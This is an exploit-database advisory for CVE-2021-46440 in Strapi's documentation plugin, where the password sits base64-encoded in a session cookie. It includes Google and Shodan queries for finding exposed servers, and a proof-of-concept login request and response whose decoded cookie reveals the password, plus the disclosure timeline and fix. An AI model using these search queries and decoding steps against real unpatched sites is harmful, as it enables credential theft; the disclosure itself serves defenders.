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Strapi 3.6.8 Password Disclosure / Insecure Handling Vulnerabilities
Author
Risk
[Security Risk High
]0day-ID
Category
Date add
CVE
Platform
# Exploit Title: Strapi < 3.6.9 and < 4.1.5 DOCUMENTATION plugin - Storing Passwords in a Recoverable Format
# Google Dork: intitle:"Welcome to your Strapi ap"
# Shodan search: "X-Powered-By: Strapi <strapi.io>"
# Exploit Author: Kitchaphan Singchai [idealphase]
# Vendor Homepage: https://strapi.io/
# Software Link: https://github.com/strapi/strapi/releases
# Vulnerable Version: < 3.6.9 and < 4.1.5
# Version: 3.6.8
# Tested on: Linux
# CVE: CVE-2021-46440
# Description:
Storing passwords in a recoverable format in the DOCUMENTATION plugin component of Strapi version prior 3.6.9 and prior 4.1.5 allows an attacker to access a victim's HTTP request, get the victim's cookie, perform a base64 decode on the victim's cookie, and obtain a plaintext password, leading to getting API documentation for further API attacks.
# This CVE has been fixed via this Github pull request.
- Change documentation auth cookie system (https://github.com/strapi/strapi/pull/12246)
# PoC:
[Request]
POST /documentation/login HTTP/1.1
Host: 127.0.0.1:1337
..[SNIP]..
password=password
[Response]
HTTP/1.1 302 Found
Set-Cookie: strapi.sid=eyJkb2N1bWVudGF0aW9uIjoicGFzc3dvcmQiLCJfZXhwaXJlIjoxNjQyNjg2NDQyNzc2LCJfbWF4QWdl Ijo4NjQwMDAwMH0=; path=/; httponly
Set-Cookie: strapi.sid.sig=e-5j8FBY8RSWqjALRv2dlPT5_gw; path=/; httponly
X-Powered-By: Strapi <strapi.io>
..[SNIP]..
Redirecting to <a href="/documentation">/documentation</a>.
Perform Base64 decoding and we got plaintext password in “documentation” json key as shown below.
{"documentation":"password","_expire":1642686442776,"_maxAge":86400000}
# Timeline:
19/Jan/2022 - Inform vulnerability to Strapi team
20/Jan/2022 - Strapi validate the issue and have found a fix that they plan to review, merge, and release ASAP.
8/Feb/2022 - Pull request created on Official Github strapi - Change documentation auth cookie system (https://github.com/strapi/strapi/pull/12246)
28/Mar/2022 - Reserved CVE-2021-46440
29/Mar/2022 - Reproduce vulnerability on v3.6.9 and v.4.1.5 [Status:Fixed]
# 0day.today [2024-11-16] #